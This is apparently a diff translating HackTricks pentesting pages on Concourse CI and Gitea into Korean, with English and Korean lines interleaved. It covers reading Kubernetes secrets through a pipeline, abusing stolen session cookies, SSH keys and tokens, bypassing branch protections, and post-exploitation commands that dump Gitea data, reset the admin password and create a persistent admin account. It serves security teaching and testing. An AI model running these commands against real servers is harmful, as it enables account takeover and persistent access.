echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### 파이프라인 생성
|
||||
|
||||
### Create Pipeline
|
||||
파이프라인은 [작업](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [단계](https://concourse-ci.org/steps.html)의 정렬된 목록이 포함됩니다.
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
### 단계
|
||||
|
||||
### Steps
|
||||
여러 가지 유형의 단계를 사용할 수 있습니다:
|
||||
|
||||
Several different type of steps can be used:
|
||||
- **the** [**`task` 단계**](https://concourse-ci.org/task-step.html) **는** [**작업**](https://concourse-ci.org/tasks.html)을 실행합니다.
|
||||
- the [`get` 단계](https://concourse-ci.org/get-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 가져옵니다.
|
||||
- the [`put` 단계](https://concourse-ci.org/put-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 업데이트합니다.
|
||||
- the [`set_pipeline` 단계](https://concourse-ci.org/set-pipeline-step.html)는 [파이프라인](https://concourse-ci.org/pipelines.html)을 구성합니다.
|
||||
- the [`load_var` 단계](https://concourse-ci.org/load-var-step.html)는 값을 [로컬 변수](https://concourse-ci.org/vars.html#local-vars)에 로드합니다.
|
||||
- the [`in_parallel` 단계](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다.
|
||||
- the [`do` 단계](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다.
|
||||
- the [`across` 단계 수정자](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 조합마다 한 번씩 단계를 여러 번 실행합니다.
|
||||
- the [`try` 단계](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다.
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
각 [단계](https://concourse-ci.org/steps.html)는 [작업 계획](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다.
|
||||
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
따라서 각 단계가 실행되어야 하는 컨테이너의 유형을 지정하는 것이 가능합니다.
|
||||
|
||||
### 간단한 파이프라인 예제
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
하나의 작업의 **결과를 파일에 저장**하고 그것이 출력임을 나타낸 다음, 다음 작업의 입력을 이전 작업의 출력으로 나타낼 수 있습니다. concourse가 하는 것은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다**.
|
||||
|
||||
### Triggers
|
||||
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
작업을 수동으로 매번 실행할 필요 없이, 매번 실행되도록 프로그래밍할 수 있습니다:
|
||||
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
- 시간이 경과함: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- 메인 브랜치에 새로운 커밋이 있을 때: [Git resource](https://github.com/concourse/git-resource)
|
||||
- 새로운 PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- 앱의 최신 이미지를 가져오거나 푸시: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
마스터에 새로운 커밋이 있을 때 트리거되는 YAML 파이프라인 예제를 확인하세요: [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,142 +1,130 @@
|
||||
# Gitea Security
|
||||
# Gitea 보안
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Gitea란 무엇인가
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
**Gitea**는 **자체 호스팅되는 커뮤니티 관리 경량 코드 호스팅** 솔루션으로 Go로 작성되었습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### 기본 정보
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
## 실습
|
||||
|
||||
로컬에서 Gitea 인스턴스를 실행하려면 도커 컨테이너를 실행하면 됩니다:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
포트 3000에 연결하여 웹 페이지에 접근하세요.
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
Kubernetes로 실행할 수도 있습니다:
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## 인증되지 않은 열거
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
- 공개 저장소: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- 등록된 사용자: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- 등록된 조직: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
기본적으로 **Gitea는 새로운 사용자가 등록하는 것을 허용합니다**. 이는 새로운 사용자에게 다른 조직/사용자 저장소에 대한 특별히 흥미로운 접근을 제공하지 않지만, **로그인한 사용자**는 **더 많은 저장소나 조직을 시각화할 수 있습니다**.
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
## 내부 악용
|
||||
|
||||
## Internal Exploitation
|
||||
이 시나리오에서는 github 계정에 대한 일부 접근 권한을 얻었다고 가정합니다.
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
### 사용자 자격 증명/웹 쿠키로
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
어떻게든 조직 내 사용자의 자격 증명을 이미 가지고 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 저장소에 대해 어떤 권한이 있는지**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, **저장소가 어떻게 보호되는지** 확인할 수 있습니다.
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> `i_like_gitea` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
|
||||
|
||||
### With User SSH Key
|
||||
### 사용자 SSH 키로
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Gitea는 **사용자**가 **코드를 배포하기 위한 인증 방법으로 사용할 **SSH 키**를 설정할 수 있도록 허용합니다 (2FA가 적용되지 않음).
|
||||
|
||||
이 키를 사용하여 **사용자가 일부 권한을 가진 저장소에서 변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<gitea_username>.keys_에서 **그가 설정한 공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH 키**는 **배포 키**로 저장소에 설정할 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 키와 관련된 정보를 제공합니다.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG 키
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
|
||||
|
||||
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### 사용자 토큰으로
|
||||
|
||||
### With User Token
|
||||
[**사용자 토큰에 대한 기본 정보**](basic-gitea-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
사용자 토큰은 Gitea 서버에 **인증**하기 위해 **비밀번호 대신** 사용할 수 있으며 [**API를 통해**](https://try.gitea.io/api/swagger#/). 사용자에 대한 **완전한 접근** 권한을 가집니다.
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
### Oauth 애플리케이션으로
|
||||
|
||||
### With Oauth Application
|
||||
[**Gitea Oauth 애플리케이션에 대한 기본 정보**](./#with-oauth-application)를 확인하여 소개를 참조하세요.
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
|
||||
공격자는 피싱 캠페인의 일환으로 사용자들이 수락할 가능성이 있는 **악성 Oauth 애플리케이션**을 생성하여 사용자들의 특권 데이터/작업에 접근할 수 있습니다.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근** 권한을 가집니다.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
### 브랜치 보호 우회
|
||||
|
||||
### Branch Protection Bypass
|
||||
Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있어 브랜치 보호를 **우회**하는 데 사용할 수 있습니다. 이 경우 **존재하지 않으므로** 우회가 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다:
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
- **푸시 활성화**: 쓰기 접근 권한이 있는 사람이 브랜치에 푸시할 수 있다면, 그냥 푸시하세요.
|
||||
- **제한된 푸시 화이트리스트**: 이 목록의 일원이라면 브랜치에 푸시하세요.
|
||||
- **병합 화이트리스트 활성화**: 병합 화이트리스트가 있다면, 그 안에 있어야 합니다.
|
||||
- **승인 요구가 0보다 큼**: 그러면... 다른 사용자를 타협해야 합니다.
|
||||
- **화이트리스트에 제한된 승인**: 화이트리스트에 있는 사용자만 승인할 수 있다면... 그 목록에 있는 다른 사용자를 타협해야 합니다.
|
||||
- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않으면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다.
|
||||
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
**조직/레포 관리자**라면 보호를 우회할 수 있습니다.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
### 웹훅 열거
|
||||
|
||||
### Enumerate Webhooks
|
||||
**웹훅**은 **특정 gitea 정보를 일부 장소로 전송**할 수 있습니다. 이 **통신을 악용**할 수 있습니다.\
|
||||
그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 URL을 아는 외부 사용자가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\
|
||||
하지만 어떤 경우에는 사람들이 **비밀**을 제자리에 설정하는 대신 **URL**에 매개변수로 설정하기 때문에, **URL을 확인**하면 **비밀**과 추가로 악용할 수 있는 다른 장소를 **찾을 수** 있습니다.
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
웹훅은 **레포 및 조직 수준**에서 설정할 수 있습니다.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
## 포스트 익스플로잇
|
||||
|
||||
## Post Exploitation
|
||||
### 서버 내부
|
||||
|
||||
### Inside the server
|
||||
어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 검색해야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다.
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
이 파일에서 **키**와 **비밀번호**를 찾을 수 있습니다.
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
gitea 경로(기본값: /data/gitea)에서도 다음과 같은 흥미로운 정보를 찾을 수 있습니다:
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
- **sqlite** DB: gitea가 외부 DB를 사용하지 않는 경우 sqlite DB를 사용합니다.
|
||||
- **세션** 폴더 내의 **세션**: `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다 (gitea는 세션을 DB에 저장할 수도 있습니다).
|
||||
- **jwt 개인 키**가 jwt 폴더에 있습니다.
|
||||
- 이 폴더에서 더 많은 **민감한 정보**를 찾을 수 있습니다.
|
||||
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
서버 내부에 있다면 **`gitea` 바이너리**를 사용하여 정보를 접근/수정할 수 있습니다:
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
- `gitea dump`는 gitea를 덤프하고 .zip 파일을 생성합니다.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다 (지속성).
|
||||
- `gitea admin user change-password --username admin --password newpassword` 비밀번호를 변경합니다.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 새 관리자 사용자를 생성하고 접근 토큰을 받습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,100 @@
|
||||
|
||||
## Basic Structure
|
||||
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 github와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 각 리포지토리에 대해 **다른 권한**을 가질 수 있습니다.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
사용자는 또한 **다양한 팀의 일원**이 되어 서로 다른 리포에 대해 다른 권한을 가질 수 있습니다.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다.**
|
||||
|
||||
## Permissions
|
||||
|
||||
### Organizations
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
**조직이 생성될 때** **Owners**라는 팀이 **생성**되고 사용자가 그 안에 배치됩니다. 이 팀은 **조직에 대한 관리자 접근**을 제공합니다. 이 **권한**과 팀의 **이름**은 **수정할 수 없습니다.**
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
**Org admins**(소유자)는 조직의 **가시성**을 선택할 수 있습니다:
|
||||
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
- 공개
|
||||
- 제한됨 (로그인한 사용자만)
|
||||
- 비공개 (회원만)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
**Org admins**는 또한 **리포 관리자**가 팀에 대한 **접근을 추가하거나 제거**할 수 있는지 여부를 지정할 수 있습니다. 그들은 또한 최대 리포 수를 지정할 수 있습니다.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
새 팀을 생성할 때 여러 중요한 설정이 선택됩니다:
|
||||
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모든 리포.
|
||||
- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 해당 리포에 대한 관리자 접근을 받습니다).
|
||||
- 리포의 **구성원**이 **가질 권한**:
|
||||
- **관리자** 접근
|
||||
- **특정** 접근:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
리포에서 **org admin**과 **리포 관리자**(조직에서 허용된 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **3**가지 **역할**이 있습니다:
|
||||
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
- 관리자
|
||||
- 쓰기
|
||||
- 읽기
|
||||
|
||||
## Gitea Authentication
|
||||
|
||||
### Web Access
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
**사용자 이름 + 비밀번호**를 사용하고, 가능하면(권장) 2FA를 사용합니다.
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 합니다. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
이 키로 사용자를 가장할 수는 없지만, 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다.**
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰**을 생성할 수 있습니다. 개인 접근 토큰은 귀하의 계정에 대한 전체 접근을 제공합니다: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 대해 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급된 바와 같이, 범위는 아직 지원되지 않습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
배포 키는 리포에 대한 읽기 전용 또는 쓰기 접근을 가질 수 있으므로 특정 리포를 손상시키는 데 흥미로울 수 있습니다.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **일부 브랜치에 코드를 작성하기 전에 여러 보호 방법을 설정하는 것입니다.**
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
**리포지토리의 브랜치 보호**는 _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_에서 찾을 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> 조직 수준에서 브랜치 보호를 설정하는 것은 **불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: master):
|
||||
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
- **푸시 비활성화**: 아무도 이 브랜치에 푸시할 수 없습니다.
|
||||
- **푸시 활성화**: 접근 권한이 있는 누구나 푸시할 수 있지만 강제 푸시는 불가능합니다.
|
||||
- **화이트리스트 제한 푸시**: 선택된 사용자/팀만 이 브랜치에 푸시할 수 있습니다(강제 푸시 불가).
|
||||
